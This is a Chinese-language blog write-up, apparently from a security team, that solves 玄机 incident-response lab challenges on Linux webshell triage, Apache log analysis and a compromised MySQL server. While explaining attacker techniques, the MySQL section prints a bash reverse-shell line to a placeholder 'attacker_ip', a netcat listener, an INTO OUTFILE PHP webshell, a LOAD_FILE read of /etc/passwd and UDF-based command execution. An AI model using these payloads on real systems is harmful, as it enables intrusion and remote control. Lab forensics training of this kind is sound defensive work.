玄机:Linux入侵排查与日志分析

由 晨星运营组 发布

玄机 第一章 应急响应

Linux入侵排查

查看内容是否有Webshell特征的指令

find ./ type f -name “*.jsp"
find ./ type f -name ".php”
find ./ type f -name “*.asp"
find ./ type f -name ".aspx”

第一题

类似于第一章webshell的步骤,查到html文件目录发现有.shell.php,index.php,1.php

find ./ -type f -name "*.php" | xargs grep "eval("
如果md5值通过,那eval危险函数就通过,传输一个字符为1,这个就是木马的密码。

第二题

类似于webshell的内容,直接查询index.php文件发现

index.php有两个参数,一个是文件名,一个是文件内容,每3000毫秒写入一个文件。

给post的参数pass传输一个通过md5加密的值,如果匹配则执行后面函数,md5就是第二步的flag

第三题

因为是在index.php里面每3000毫秒写入一个.shell.php,所以文件名就是index.php

第四题和第五题

先筛选看看有没有破解成功的,发现没有回显

grep "shell.php" /var/log/auth.log.1
cat auth.log.1 |grep "Accepted password"

这时候我们提高权限

chmod 777 "shell(1).elf"

chmod为命令名称,用于更改文件或目录的访问权限。

777三位数字分别代表:

第1位(百位):文件所有者的权限(7)。

第2位(十位):文件所属组的权限(7)。

第3位(个位):其他用户的权限(7)。

(755所有者可写,其他人只读\执行chmod 755 file 。644仅所有者可写,其他人只读chmod 644 file)

shell(1).elf为目标文件名字

这时候我们第一个finalshell通过提高权限后启动该文件

./'shell(1).elf'

新建finalshell通过指令直接找到ip和端口

netstat -antlp | more

玄机 第二章 日志分析

apache日志分析

第一题

连接以后直接进入log目录查看日志文件

cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20
快速匹配提取所有ip
grep -Eo '([0-9]+\.){3}[0-9]+'


直接得出192.168.200.2

第二题

让我们提交浏览器指纹。

浏览器指纹是指通过收集和分析浏览器和设备的特征信息,创建一个唯一的标识符,从而识别或跟踪用户。

这种技术不仅依赖于常规的Cookie,还利用浏览器和设备的多种属性来进行识别。

我们可以知道浏览器的版本,操作系统,时区,语言设置字体,HTTP头,设备特征。

因为已知黑客的IP地址,所以通过打开日志过滤黑客ip,发现有Mac OS X和windows,但是通过浏览下面信息发现windows的信息更多,直接提取出来

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.88 Safari/537.36

这个就是我们需要的浏览器指纹。

第三题

grep过滤index.php统计次数,可以知道被访问了多少次可以通过,进入到cacphe2的目录下通过

cat access.log.1 | grep "/index.php" | wc -l

可以直接得出是27次,但是实际上这个是错误的答案,我们用指令列出所有访问index.php的指令发现
cat access.log.1 | grep "/index.php"

其余的都是直接GET到了/index.php,而与两个前面显示访问成功后,再通过js跳转到了/index.php这个界面

第四题

我们需要知道当前ip访问了多少次

grep “192.168.200.2” access.log.1 | cut -d’ ’ -f1 | sort | uniq -c

为6555次

第五题

访问了多少次,通过过滤2023.08.03日期,在awk提取主机第一列IP地址,再通过sort排序,确保uniq可以正确合并同类相。

cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' |sort -nr | uniq -c| wc -l
grep "03/Aug/2023:08:" access.log.1 | awk '{print $1}' | sort |uniq

这两个都可以,最终答案为5

玄机 第二章 日志分析

mysql应急响应

第一题

排查危险函数指令,进入/var/www/html目录下

find / -name " *.php" | xargs grep "eval("
可以找到PHP恶意代码,观察前面的地址,可以找到该恶意代码的文件位置,在/var/www/html/sh.php文件中打开可以发现flag

第二题

查找黑客的反弹shell

反弹shell是攻击者通过在目标系统上运行恶意代码,使目标系统主动与攻击者控制的服务器建立连接,从而绕过防火墙的其他安全措施

反弹shell的工作原理
1.攻击者会在目标里启动监听程序。

nc -lvp 4444
// nc表示网络连接和数据传输
// -l表示监听模式
// -v表示冗长输出
// -p表示指定端口
2.目标系统执行恶意代码

攻击者通过漏洞和社交工程手段,在目标系统上执行恶意代码,这段代码会打开一个shell(操作系统的外层程序,类似于命令解释器),尝试连接攻击者的服务器

/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

通过TCP连接攻击者的IP地址和端口,并将输入和输出重定向到这个连接上
3.建立连接

目标系统主动向攻击者的服务器发起连接请求。由于是目标系统主动连接,一般不会被防火墙阻拦。
4.攻击者获得Shell访问

一旦连接建立,攻击者就可以在其控制服务器上得到一个远程Shell,能够像在本地终端一样执行命令,控制目标系统。

第二步解题步骤

在log文件下先查找是什么服务器,再看mysql的日志文件,发现里面有一个error.log文件(报错文件),通过查找报错日志可以找到两个IP地址,其中一个就是正确的。

另外在里面可以找到两个文件,一个是index.php,另一个是1.sh

打开1.sh,是一个反弹shell的脚本

第三题

找到提权文件的路径。

在mysql提权攻击中,最常用的方法包括利用INTO OUTFILE写入文件、LOAD_FILE读取文件,UDF(用户定义函数)执行系统命令。

INTO OUTFILE

写入文件,攻击者利用这个功能将恶意代码写入web服务器,生成webshell

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
这个命令将在/var/www/html/目录下创建一个名为shell.php的文件,包含一个简单的WebShell,攻击者可以通过访问该文件执行任意系统命令。

L0AD_FILE

读取文件,可以让攻击者阅读敏感文件

SELECT LOAD_FILE('/etc/passwd');
// 返回 /etc/passwd 文件的内容,其中包含所有用户的信息。

UDF

执行系统命令,允许用户扩展mysql的功能,如果攻击者将恶意的共享库上传到服务器,就可以通过UDF执行任意系统命令

通过查找/var/www/html目录下的

find ./ -name "*.php" | xargs grep "root"

可以得到

./common.php:$conn=mysqli_connect(“localhost”,“root”,“334cc35b3c704593”,“cms”,“3306”);

// “localhost”:数据库服务器地址,这里是本地主机。
// “root”:数据库用户名。
// “334cc35b3c704593”:数据库密码。
// “cms”:数据库名称。
// “3306”:数据库端口号。

连接数据库命令

mysql -u root -p 334cc35b3c704593

-u为用户,-p为密码

连接完成后再输入指令

show global variables like '%secure%';

MySQL查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。查看这些变量的配置,可以帮助我们了解MySQL服务器的安全性设置和限制。

分析一下文件框内的内容

secure_auth:显示为off,表示运行匿名链接,或者未使用ssl链接

secure_file_priv:限制LOAD和SELECT操作的文件读写目录,但是文件框为空,就是说mysql可以访问服务器上的任何路径,没有限制。

为什么会导致UDF提权?

攻击者利用SELECT语句,将恶意的.so文件写入服务器文件系统任意位置,通常恶意文件共享库一般放在mysql插件目录中,这个目录是默认的

/usr/lib/mysql/plugin/

具体情况具体分析,大部分都在mysql文件夹里,因为需要通过mysql插件目录才能进行mysql的识别和加载,打开文件,发现有个.so后缀文件路径

第四题

黑客获取的权限flag{whoami后的值}

因为我们知道了黑客进行了提权,那么肯定写入了新的函数,用指令进行查询

ps -aux

查找出来发现

mysql 364 0.0 1.6 619976 63956 ? Sl 04:55 0:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql
进程显示MySQL服务器进程正在运行,它于12:10启动,使用了指定的配置目录、数据目录和插件目录,发现目录就是UDF使用提取的目录,暂时也不是很确认,我们可以进入数据库进行分析

SELECT * FROM mysql.func;
检查mysql里是否有异常的UDF函数,这个表会查到新增函数信息

有一个sys_eval危险函数,属于是新增的,按照题目要求我们使用指令

select sys_eval('whoami');

通过select让这个函数执行whoami这个命令,答案就是mysql

UDF提权典型痕迹

异常的.so文件查询是否为新建的

查找mysql日志文件看是否有CREATE语句

.so(属于一个动态链接库,在执行文件的时候会在.so里面执行这一行代码)

作者:晨星安全团队——Zion_Cat


0条评论

发表评论